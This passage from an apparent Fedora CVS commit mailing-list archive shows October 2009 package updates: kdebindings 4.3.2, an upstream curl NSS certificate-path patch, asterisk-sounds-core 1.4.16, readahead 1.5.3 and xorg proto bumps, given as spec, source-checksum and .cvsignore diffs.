+* Fri Sep 25 2009 Than Ngo <than at redhat.com> - 4.3.1-4
+- rhel cleanup
+
 * Thu Sep 03 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-3
 - also disable polkit-qt on EL6+
 - also remove polkit-qt sip files and examples on F12+/EL6+


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebindings/F-10/sources,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- sources	1 Sep 2009 17:16:56 -0000	1.66
+++ sources	6 Oct 2009 13:46:39 -0000	1.67
@@ -1 +1 @@
-6cc71c3f6136d3b69f7a109d03ddfe40  kdebindings-4.3.1.tar.bz2
+3187ea9d9913edf4c25ba299dab0d117  kdebindings-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 13:46:39 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 13:46:39 +0000 (UTC)
Subject: rpms/kdebindings/F-11 .cvsignore, 1.62, 1.63 kdebindings.spec, 1.206,
	1.207 sources, 1.67, 1.68
Message-ID: <20091006134639.A945811C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebindings/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16311/F-11

Modified Files:
	.cvsignore kdebindings.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebindings/F-11/.cvsignore,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- .cvsignore	1 Sep 2009 17:16:57 -0000	1.62
+++ .cvsignore	6 Oct 2009 13:46:39 -0000	1.63
@@ -1 +1 @@
-kdebindings-4.3.1.tar.bz2
+kdebindings-4.3.2.tar.bz2


Index: kdebindings.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebindings/F-11/kdebindings.spec,v
retrieving revision 1.206
retrieving revision 1.207
diff -u -p -r1.206 -r1.207
--- kdebindings.spec	4 Sep 2009 13:15:46 -0000	1.206
+++ kdebindings.spec	6 Oct 2009 13:46:39 -0000	1.207
@@ -24,6 +24,15 @@
 %define pykde4_akonadi 1
 %define pyqt4_version 4.5.2
 
+%if 0%{?rhel}
+%define falcon 0
+%define php 0
+%define ruby 0
+%define smoke 0
+%define java 0
+%define csharp 0
+%endif
+
 %if 0%{?ruby}%{?smoke}
 %define devel 1
 %endif
@@ -35,8 +44,8 @@
 %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")
 
 Name: kdebindings
-Version: 4.3.1
-Release: 3%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 Summary: KDE bindings to non-C++ languages
 
 # http://techbase.kde.org/Policies/Licensing_Policy
@@ -66,7 +75,9 @@ BuildRequires:  polkit-qt-devel
 BuildRequires:  python-devel
 BuildRequires:  PyQt4-devel >= %{pyqt4_version}
 BuildRequires:  qimageblitz-devel
+%if 0%{?fedora}
 BuildRequires:  qscintilla-devel >= 2.4
+%endif
 BuildRequires:  qimageblitz-devel
 BuildRequires:  soprano-devel
 %if 0%{?csharp}
@@ -515,6 +526,12 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Fri Sep 25 2009 Than Ngo <than at redhat.com> - 4.3.1-4
+- rhel cleanup
+
 * Thu Sep 03 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-3
 - also disable polkit-qt on EL6+
 - also remove polkit-qt sip files and examples on F12+/EL6+


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebindings/F-11/sources,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- sources	1 Sep 2009 17:16:57 -0000	1.67
+++ sources	6 Oct 2009 13:46:39 -0000	1.68
@@ -1 +1 @@
-6cc71c3f6136d3b69f7a109d03ddfe40  kdebindings-4.3.1.tar.bz2
+3187ea9d9913edf4c25ba299dab0d117  kdebindings-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 13:46:40 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 13:46:40 +0000 (UTC)
Subject: rpms/kdebindings/devel .cvsignore,1.64,1.65
Message-ID: <20091006134640.4407811C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebindings/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16311/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebindings/devel/.cvsignore,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- .cvsignore	5 Oct 2009 10:46:45 -0000	1.64
+++ .cvsignore	6 Oct 2009 13:46:40 -0000	1.65
@@ -1,2 +1 @@
-kdebindings-4.3.1.tar.bz2
 kdebindings-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Tue Oct  6 13:46:40 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Tue,  6 Oct 2009 13:46:40 +0000 (UTC)
Subject: rpms/kdebindings/F-12 .cvsignore, 1.63, 1.64 kdebindings.spec, 1.243,
	1.244 sources, 1.71, 1.72
Message-ID: <20091006134640.11A7711C00C1@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebindings/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16311/F-12

Modified Files:
	.cvsignore kdebindings.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdebindings/F-12/.cvsignore,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- .cvsignore	1 Sep 2009 17:16:57 -0000	1.63
+++ .cvsignore	6 Oct 2009 13:46:39 -0000	1.64
@@ -1 +1 @@
-kdebindings-4.3.1.tar.bz2
+kdebindings-4.3.2.tar.bz2


Index: kdebindings.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebindings/F-12/kdebindings.spec,v
retrieving revision 1.243
retrieving revision 1.244
diff -u -p -r1.243 -r1.244
--- kdebindings.spec	28 Sep 2009 13:33:07 -0000	1.243
+++ kdebindings.spec	6 Oct 2009 13:46:39 -0000	1.244
@@ -44,8 +44,8 @@
 %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")
 
 Name: kdebindings
-Version: 4.3.1
-Release: 4%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 Summary: KDE bindings to non-C++ languages
 
 # http://techbase.kde.org/Policies/Licensing_Policy
@@ -526,6 +526,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Sep 25 2009 Than Ngo <than at redhat.com> - 4.3.1-4
 - rhel cleanup
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdebindings/F-12/sources,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- sources	28 Aug 2009 13:10:04 -0000	1.71
+++ sources	6 Oct 2009 13:46:39 -0000	1.72
@@ -1 +1 @@
-6cc71c3f6136d3b69f7a109d03ddfe40  kdebindings-4.3.1.tar.bz2
+3187ea9d9913edf4c25ba299dab0d117  kdebindings-4.3.2.tar.bz2



From kdudka at fedoraproject.org  Tue Oct  6 13:54:16 2009
From: kdudka at fedoraproject.org (Kamil Dudka)
Date: Tue,  6 Oct 2009 13:54:16 +0000 (UTC)
Subject: rpms/curl/devel curl-7.19.6-nss-guenter.patch, NONE, 1.1 curl.spec, 
	1.120, 1.121
Message-ID: <20091006135416.4140411C00C1@cvs1.fedora.phx.redhat.com>

Author: kdudka

Update of /cvs/extras/rpms/curl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17863

Modified Files:
	curl.spec 
Added Files:
	curl-7.19.6-nss-guenter.patch 
Log Message:
- upstream patch for NSS support written by Guenter Knauf

curl-7.19.6-nss-guenter.patch:
 nss.c |   39 ++++++++++++++++++++++++++-------------
 1 file changed, 26 insertions(+), 13 deletions(-)

--- NEW FILE curl-7.19.6-nss-guenter.patch ---
--- curl-7.19.6/lib/nss.c	2009-09-30 15:29:35.965297742 +0200
+++ /tmp/nss.c	2009-09-30 15:23:05.000000000 +0200
@@ -63,6 +63,7 @@
 #include <secitem.h>
 #include <secport.h>
 #include <certdb.h>
+#include <base64.h>
 
 #include "curl_memory.h"
 #include "rawstr.h"
@@ -265,7 +266,7 @@ static int num_enabled_ciphers(void)
  */
 static int is_file(const char *filename)
 {
-  struct stat st;
+  struct_stat st;
 
   if(filename == NULL)
     return 0;
@@ -963,26 +964,38 @@ CURLcode Curl_nss_connect(struct connect
   /* FIXME. NSS doesn't support multiple databases open at the same time. */
   PR_Lock(nss_initlock);
   if(!initialized) {
+    struct_stat st;
 
-    certDir = getenv("SSL_DIR"); /* Look in $SSL_DIR */
+    /* First we check if $SSL_DIR points to a valid dir */
+    certDir = getenv("SSL_DIR");
+    if(certDir) {
+      if((stat(certDir, &st) != 0) ||
+              (!S_ISDIR(st.st_mode))) {
+        certDir = NULL;
+      }
+    }
 
+    /* Now we check if the default location is a valid dir */
     if(!certDir) {
-      struct stat st;
-
-      if(stat(SSL_DIR, &st) == 0)
-        if(S_ISDIR(st.st_mode)) {
-          certDir = (char *)SSL_DIR;
-        }
+      if((stat(SSL_DIR, &st) == 0) &&
+              (S_ISDIR(st.st_mode))) {
+        certDir = (char *)SSL_DIR;
+      }
     }
 
     if (!NSS_IsInitialized()) {
       initialized = 1;
+      infof(conn->data, "Initializing NSS with certpath: %s\n",
+            certDir ? certDir : "none");
       if(!certDir) {
         rv = NSS_NoDB_Init(NULL);
       }
       else {
-        rv = NSS_Initialize(certDir, NULL, NULL, "secmod.db",
-                            NSS_INIT_READONLY);
+        char *certpath = PR_smprintf("%s%s",
+                         NSS_VersionCheck("3.12.0") ? "sql:" : "",
+                         certDir);
+        rv = NSS_Initialize(certpath, "", "", "", NSS_INIT_READONLY);
+        PR_smprintf_free(certpath);
       }
       if(rv != SECSuccess) {
         infof(conn->data, "Unable to initialize NSS database\n");
@@ -1103,7 +1116,7 @@ CURLcode Curl_nss_connect(struct connect
     }
   }
   else if(data->set.ssl.CApath) {
-    struct stat st;
+    struct_stat st;
     PRDir      *dir;
     PRDirEntry *entry;
 
@@ -1282,7 +1295,7 @@ int Curl_nss_send(struct connectdata *co
   int rc;
 
   if(data->set.timeout)
-    timeout = PR_MillisecondsToInterval(data->set.timeout);
+    timeout = PR_MillisecondsToInterval((PRUint32)data->set.timeout);
   else
     timeout = PR_MillisecondsToInterval(DEFAULT_CONNECT_TIMEOUT);
 
@@ -1318,7 +1331,7 @@ ssize_t Curl_nss_recv(struct connectdata
   PRInt32 timeout;
 
   if(data->set.timeout)
-    timeout = PR_SecondsToInterval(data->set.timeout);
+    timeout = PR_SecondsToInterval((PRUint32)data->set.timeout);
   else
     timeout = PR_MillisecondsToInterval(DEFAULT_CONNECT_TIMEOUT);
 


Index: curl.spec
===================================================================
RCS file: /cvs/extras/rpms/curl/devel/curl.spec,v
retrieving revision 1.120
retrieving revision 1.121
diff -u -p -r1.120 -r1.121
--- curl.spec	30 Sep 2009 14:38:54 -0000	1.120
+++ curl.spec	6 Oct 2009 13:54:15 -0000	1.121
@@ -1,7 +1,7 @@
 Summary: A utility for getting files from remote servers (FTP, HTTP, and others)
 Name: curl
 Version: 7.19.6
-Release: 11%{?dist}
+Release: 12%{?dist}
 License: MIT
 Group: Applications/Internet
 Source: http://curl.haxx.se/download/%{name}-%{version}.tar.lzma
@@ -10,6 +10,7 @@ Patch1: curl-7.19.6-verifyhost.patch
 Patch2: curl-7.19.6-nss-cn.patch
 Patch3: curl-7.19.6-poll.patch
 Patch4: curl-7.19.6-autoconf.patch
+Patch5: curl-7.19.6-nss-guenter.patch
 Patch101: curl-7.15.3-multilib.patch
 Patch102: curl-7.16.0-privlibs.patch
 Patch103: curl-7.19.4-debug.patch
@@ -76,6 +77,7 @@ use cURL's capabilities internally.
 %patch2 -p1
 %patch3 -p1
 %patch4 -p1
+%patch5 -p1
 
 # Fedora patches
 %patch101 -p1
@@ -164,6 +166,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/aclocal/libcurl.m4
 
 %changelog
+* Tue Oct 06 2009 Kamil Dudka <kdudka at redhat.com> 7.19.6-12
+- upstream patch for NSS support written by Guenter Knauf
+
 * Wed Sep 30 2009 Kamil Dudka <kdudka at redhat.com> 7.19.6-11
 - build libcurl with c-ares support (#514771)
 



From jcollie at fedoraproject.org  Tue Oct  6 13:56:27 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Tue,  6 Oct 2009 13:56:27 +0000 (UTC)
Subject: rpms/asterisk-sounds-core/devel .cvsignore, 1.3,
	1.4 asterisk-sounds-core.spec, 1.4, 1.5 sources, 1.3, 1.4
Message-ID: <20091006135627.40ABE11C00C1@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/asterisk-sounds-core/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18369

Modified Files:
	.cvsignore asterisk-sounds-core.spec sources 
Log Message:
* Mon Oct  5 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.4.16-1
- Update to 1.4.16.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk-sounds-core/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	8 Apr 2009 16:34:44 -0000	1.3
+++ .cvsignore	6 Oct 2009 13:56:26 -0000	1.4
@@ -1,27 +1,27 @@
-asterisk-core-sounds-en-alaw-1.4.15.tar.gz
-asterisk-core-sounds-en-g722-1.4.15.tar.gz
-asterisk-core-sounds-en-g729-1.4.15.tar.gz
-asterisk-core-sounds-en-gsm-1.4.15.tar.gz
-asterisk-core-sounds-en-siren14-1.4.15.tar.gz
-asterisk-core-sounds-en-siren7-1.4.15.tar.gz
-asterisk-core-sounds-en-sln16-1.4.15.tar.gz
-asterisk-core-sounds-en-ulaw-1.4.15.tar.gz
-asterisk-core-sounds-en-wav-1.4.15.tar.gz
-asterisk-core-sounds-es-alaw-1.4.15.tar.gz
-asterisk-core-sounds-es-g722-1.4.15.tar.gz
-asterisk-core-sounds-es-g729-1.4.15.tar.gz
-asterisk-core-sounds-es-gsm-1.4.15.tar.gz
-asterisk-core-sounds-es-siren14-1.4.15.tar.gz
-asterisk-core-sounds-es-siren7-1.4.15.tar.gz
-asterisk-core-sounds-es-sln16-1.4.15.tar.gz
-asterisk-core-sounds-es-ulaw-1.4.15.tar.gz
-asterisk-core-sounds-es-wav-1.4.15.tar.gz
-asterisk-core-sounds-fr-alaw-1.4.15.tar.gz
-asterisk-core-sounds-fr-g722-1.4.15.tar.gz
-asterisk-core-sounds-fr-g729-1.4.15.tar.gz
-asterisk-core-sounds-fr-gsm-1.4.15.tar.gz
-asterisk-core-sounds-fr-siren14-1.4.15.tar.gz
-asterisk-core-sounds-fr-siren7-1.4.15.tar.gz
-asterisk-core-sounds-fr-sln16-1.4.15.tar.gz
-asterisk-core-sounds-fr-ulaw-1.4.15.tar.gz
-asterisk-core-sounds-fr-wav-1.4.15.tar.gz
+asterisk-core-sounds-en-alaw-1.4.16.tar.gz
+asterisk-core-sounds-en-g722-1.4.16.tar.gz
+asterisk-core-sounds-en-g729-1.4.16.tar.gz
+asterisk-core-sounds-en-gsm-1.4.16.tar.gz
+asterisk-core-sounds-en-siren14-1.4.16.tar.gz
+asterisk-core-sounds-en-siren7-1.4.16.tar.gz
+asterisk-core-sounds-en-sln16-1.4.16.tar.gz
+asterisk-core-sounds-en-ulaw-1.4.16.tar.gz
+asterisk-core-sounds-en-wav-1.4.16.tar.gz
+asterisk-core-sounds-es-alaw-1.4.16.tar.gz
+asterisk-core-sounds-es-g722-1.4.16.tar.gz
+asterisk-core-sounds-es-g729-1.4.16.tar.gz
+asterisk-core-sounds-es-gsm-1.4.16.tar.gz
+asterisk-core-sounds-es-siren14-1.4.16.tar.gz
+asterisk-core-sounds-es-siren7-1.4.16.tar.gz
+asterisk-core-sounds-es-sln16-1.4.16.tar.gz
+asterisk-core-sounds-es-ulaw-1.4.16.tar.gz
+asterisk-core-sounds-es-wav-1.4.16.tar.gz
+asterisk-core-sounds-fr-alaw-1.4.16.tar.gz
+asterisk-core-sounds-fr-g722-1.4.16.tar.gz
+asterisk-core-sounds-fr-g729-1.4.16.tar.gz
+asterisk-core-sounds-fr-gsm-1.4.16.tar.gz
+asterisk-core-sounds-fr-siren14-1.4.16.tar.gz
+asterisk-core-sounds-fr-siren7-1.4.16.tar.gz
+asterisk-core-sounds-fr-sln16-1.4.16.tar.gz
+asterisk-core-sounds-fr-ulaw-1.4.16.tar.gz
+asterisk-core-sounds-fr-wav-1.4.16.tar.gz


Index: asterisk-sounds-core.spec
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk-sounds-core/devel/asterisk-sounds-core.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- asterisk-sounds-core.spec	24 Jul 2009 17:24:37 -0000	1.4
+++ asterisk-sounds-core.spec	6 Oct 2009 13:56:26 -0000	1.5
@@ -1,8 +1,8 @@
 %define sounds_dir %{_datadir}/asterisk/sounds
 
 Name:           asterisk-sounds-core
-Version:        1.4.15
-Release:        2%{?dist}
+Version:        1.4.16
+Release:        1%{?dist}
 Summary:        Core sounds for Asterisk
 
 Group:          Applications/Internet
@@ -535,6 +535,9 @@ rm -rf %{buildroot}
 %doc asterisk-core-sounds-fr-wav-%{version}.list
 
 %changelog
+* Mon Oct  5 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.4.16-1
+- Update to 1.4.16.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.15-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk-sounds-core/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	8 Apr 2009 16:34:44 -0000	1.3
+++ sources	6 Oct 2009 13:56:27 -0000	1.4
@@ -1,27 +1,27 @@
-e9531e871d5b24e7b83d3ef946390d40  asterisk-core-sounds-en-alaw-1.4.15.tar.gz
-54532b85f56cc91de6e7a85b50cf9800  asterisk-core-sounds-en-g722-1.4.15.tar.gz
-b489cb2cac74734b22d834406132048e  asterisk-core-sounds-en-g729-1.4.15.tar.gz
-8c6f13636ada5b3371ab57121f7afd8e  asterisk-core-sounds-en-gsm-1.4.15.tar.gz
-4e37aebb361f58033fd0812b75aa5a23  asterisk-core-sounds-en-siren14-1.4.15.tar.gz
-a3d69737799888c6fa5c938d4190d532  asterisk-core-sounds-en-siren7-1.4.15.tar.gz
-49fd91087da17417ddfd23a2d450741d  asterisk-core-sounds-en-sln16-1.4.15.tar.gz
-fd97a409e12c9e19d1af3fc381a9f8ad  asterisk-core-sounds-en-ulaw-1.4.15.tar.gz
-eaf43394b94681c31bdf56f1df653790  asterisk-core-sounds-en-wav-1.4.15.tar.gz
-b2d3aa168f9661c6e39d288d06789fc7  asterisk-core-sounds-es-alaw-1.4.15.tar.gz
-d1c7612659bd2280b3e4402167a6cc8c  asterisk-core-sounds-es-g722-1.4.15.tar.gz
-aa9828d6fbff14fc02f07a7b2b918b71  asterisk-core-sounds-es-g729-1.4.15.tar.gz
-c45fff747cadad68a7c20f64b0ae3075  asterisk-core-sounds-es-gsm-1.4.15.tar.gz
-81fe0abfd4f7248a4bf5ba8cbec98aa7  asterisk-core-sounds-es-siren14-1.4.15.tar.gz
-6c94ab98ecd60c9acc273ada07382c40  asterisk-core-sounds-es-siren7-1.4.15.tar.gz
-d9458dd770fde192ea433fce0b271501  asterisk-core-sounds-es-sln16-1.4.15.tar.gz
-fd1f5eefbb03f07a27391dd332b2fb78  asterisk-core-sounds-es-ulaw-1.4.15.tar.gz
-89dadc24f420c83614ed6286112b765a  asterisk-core-sounds-es-wav-1.4.15.tar.gz
-4752b5dbd543188c050d8baf77a34e9e  asterisk-core-sounds-fr-alaw-1.4.15.tar.gz
-7d6578b73b68b41fa7ac53ffae927ae8  asterisk-core-sounds-fr-g722-1.4.15.tar.gz
-fbfff0b1d52e37eefb2bcf8554623e1a  asterisk-core-sounds-fr-g729-1.4.15.tar.gz
-1208be19c83123e6240982cfe97ff91c  asterisk-core-sounds-fr-gsm-1.4.15.tar.gz
-ead24df2276e3ca9ab50a8babd850fc1  asterisk-core-sounds-fr-siren14-1.4.15.tar.gz
-a29bb61f9b5df1659f8b944ee50499bc  asterisk-core-sounds-fr-siren7-1.4.15.tar.gz
-a2b677b23edcb990b43b1179518f87c7  asterisk-core-sounds-fr-sln16-1.4.15.tar.gz
-491d3bdf569a9cb9c2beda7b10c0c869  asterisk-core-sounds-fr-ulaw-1.4.15.tar.gz
-0f762ebf09719e375408565b60a3f432  asterisk-core-sounds-fr-wav-1.4.15.tar.gz
+298194870d8566b19e6b14e041555636  asterisk-core-sounds-en-alaw-1.4.16.tar.gz
+1642f87ca7b3a915228031707bf9e100  asterisk-core-sounds-en-g722-1.4.16.tar.gz
+0e61c7fc83ef024e923c184ca89f20f0  asterisk-core-sounds-en-g729-1.4.16.tar.gz
+87145c1775141613d1471864dae12bdd  asterisk-core-sounds-en-gsm-1.4.16.tar.gz
+62b3180445e808f6f240c7a46afdb33d  asterisk-core-sounds-en-siren14-1.4.16.tar.gz
+3e0e8373e03a867ef1baeb9ee6504fd0  asterisk-core-sounds-en-siren7-1.4.16.tar.gz
+b86dc7d00b7c04604f5e6fd9ee3f3aad  asterisk-core-sounds-en-sln16-1.4.16.tar.gz
+29725f0e2c32c9347f6e44a61830af8e  asterisk-core-sounds-en-ulaw-1.4.16.tar.gz
+f5eb575eab0cab465546089c3cea95d3  asterisk-core-sounds-en-wav-1.4.16.tar.gz
+6380e4c13577c3bf3c0f83cfda8d4bec  asterisk-core-sounds-es-alaw-1.4.16.tar.gz
+a42f6af87b6de2533b99f51aa1eb615b  asterisk-core-sounds-es-g722-1.4.16.tar.gz
+48face93838576602ef9d6c055768983  asterisk-core-sounds-es-g729-1.4.16.tar.gz
+499e4d241420576289a5a24408d4392b  asterisk-core-sounds-es-gsm-1.4.16.tar.gz
+267649f01309e4df914a6724f025229d  asterisk-core-sounds-es-siren14-1.4.16.tar.gz
+9cb8f9d3e8b1245f75c05b4c7470bc5f  asterisk-core-sounds-es-siren7-1.4.16.tar.gz
+26adba5f8304864f2059e4ae7602b6be  asterisk-core-sounds-es-sln16-1.4.16.tar.gz
+cfc35eec0b2a25b03d409452852aa7fd  asterisk-core-sounds-es-ulaw-1.4.16.tar.gz
+9567f6b61c4abb0d07ff352706722dc0  asterisk-core-sounds-es-wav-1.4.16.tar.gz
+aa3553dcc507fdae75cf8d7ec086c8ca  asterisk-core-sounds-fr-alaw-1.4.16.tar.gz
+7bf244fc16b76d82eac8cbe9b29e91e6  asterisk-core-sounds-fr-g722-1.4.16.tar.gz
+ef17dd261b89204f15f5328fa9ed0108  asterisk-core-sounds-fr-g729-1.4.16.tar.gz
+a3e1b41d6fcf21719872cae821bce948  asterisk-core-sounds-fr-gsm-1.4.16.tar.gz
+926a173c365b84847852567b67797a72  asterisk-core-sounds-fr-siren14-1.4.16.tar.gz
+2f1d6ff46cdf53a60e7298f421fffb20  asterisk-core-sounds-fr-siren7-1.4.16.tar.gz
+03d363fb8f08a679a06bcb4b7fca103c  asterisk-core-sounds-fr-sln16-1.4.16.tar.gz
+2c7cad768b8d662505cefd70390cf3f0  asterisk-core-sounds-fr-ulaw-1.4.16.tar.gz
+1693dbf9c976653223e44d48931963d2  asterisk-core-sounds-fr-wav-1.4.16.tar.gz



From harald at fedoraproject.org  Tue Oct  6 14:24:12 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Tue,  6 Oct 2009 14:24:12 +0000 (UTC)
Subject: rpms/readahead/F-12 .cvsignore, 1.13, 1.14 readahead.spec, 1.61,
	1.62 sources, 1.17, 1.18 readahead-1.5.1-noconsole.patch, 1.1, NONE
Message-ID: <20091006142413.77FFE11C00C1@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/readahead/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25444

Modified Files:
	.cvsignore readahead.spec sources 
Removed Files:
	readahead-1.5.1-noconsole.patch 
Log Message:
* Tue Oct 06 2009 Harald Hoyer <harald at redhat.com> 1.5.3-1
- fix readhead for new libaudit (bug #523400)
- don't leak file descriptors (bug #525893)
- also collect openat() calls
- ignore files > 10MB



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/readahead/F-12/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	14 Sep 2009 15:17:48 -0000	1.13
+++ .cvsignore	6 Oct 2009 14:23:58 -0000	1.14
@@ -1 +1 @@
-readahead-1.5.1.tar.bz2
+readahead-1.5.3.tar.bz2


Index: readahead.spec
===================================================================
RCS file: /cvs/pkgs/rpms/readahead/F-12/readahead.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- readahead.spec	15 Sep 2009 10:27:06 -0000	1.61
+++ readahead.spec	6 Oct 2009 14:23:58 -0000	1.62
@@ -1,12 +1,11 @@
 Summary:        Read a preset list of files into memory
 Name:           readahead
-Version:        1.5.1
-Release:        2%{?dist}
+Version:        1.5.3
+Release:        1%{?dist}
 Epoch:          1
 Group:          System Environment/Base
 License:        GPLv2+
 Source0:        readahead-%{version}.tar.bz2
-Patch1: 	readahead-1.5.1-noconsole.patch
 
 URL: 		https://fedorahosted.org/readahead/
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -27,7 +26,6 @@ needed. Its goal is to speed up the boot
 
 %prep
 %setup -q
-%patch1 -p1
 
 %build
 %configure --sbindir=/sbin
@@ -70,6 +68,12 @@ fi
 /sbin/readahead-collector
 
 %changelog
+* Tue Oct 06 2009 Harald Hoyer <harald at redhat.com> 1.5.3-1
+- fix readhead for new libaudit (bug #523400)
+- don't leak file descriptors (bug #525893)
+- also collect openat() calls
+- ignore files > 10MB
+
 * Tue Sep 15 2009 Harald Hoyer <harald at redhat.com> 1.5.1-2
 - remove console owner from collector (gets killed by SIGHUP)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/readahead/F-12/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	14 Sep 2009 15:17:49 -0000	1.17
+++ sources	6 Oct 2009 14:23:59 -0000	1.18
@@ -1 +1 @@
-abb783e835272290722da9d9affc618b  readahead-1.5.1.tar.bz2
+b3354ba1d59dc270ada5f4a46e95e3bf  readahead-1.5.3.tar.bz2


--- readahead-1.5.1-noconsole.patch DELETED ---



From ajax at fedoraproject.org  Tue Oct  6 14:25:02 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue,  6 Oct 2009 14:25:02 +0000 (UTC)
Subject: rpms/xorg-x11-proto-devel/F-12 .cvsignore, 1.60, 1.61 sources, 1.59,
	1.60 xorg-x11-proto-devel.spec, 1.109, 1.110
Message-ID: <20091006142502.4E3FE11C00C1@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-proto-devel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26111

Modified Files:
	.cvsignore sources xorg-x11-proto-devel.spec 
Log Message:
* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 7.4-32
- fixesproto 4.1.1
- randrproto 1.3.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/F-12/.cvsignore,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- .cvsignore	28 Aug 2009 03:01:07 -0000	1.60
+++ .cvsignore	6 Oct 2009 14:25:01 -0000	1.61
@@ -26,3 +26,5 @@ randrproto-1.3.0.tar.bz2
 glproto-1.4.10.tar.bz2
 dri2proto-2.1.tar.bz2
 inputproto-1.9.99.902.tar.bz2
+randrproto-1.3.1.tar.bz2
+fixesproto-4.1.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-proto-devel/F-12/sources,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- sources	28 Aug 2009 03:01:07 -0000	1.59
+++ sources	6 Oct 2009 14:25:02 -0000	1.60
@@ -22,6 +22,6 @@ d28007a50976204960fc1fc07b4ca093  xproxy
 c9f8cebfba72bfab674bc0170551fb8d  glproto-1.4.10.tar.bz2
 5cb7987d29db068153bdc8f23c767c43  dri2proto-2.1.tar.bz2
 1937db6f8881409a1fc8b45bcc01f4ad  inputproto-1.9.99.902.tar.bz2
-a49416013fff33c853efb32f1926551e  randrproto-1.3.0.tar.bz2
 fb6ccaae76db7a35e49b12aea60ca6ff  xextproto-7.1.1.tar.bz2
-157644edb3cd526f2cb164eb79c52bad  fixesproto-4.1.tar.bz2
+a5c244c36382b0de39b2828cea4b651d  randrproto-1.3.1.tar.bz2
+4c1cb4f2ed9f34de59f2f04783ca9483  fixesproto-4.1.1.tar.bz2


Index: xorg-x11-proto-devel.spec
===================================================================
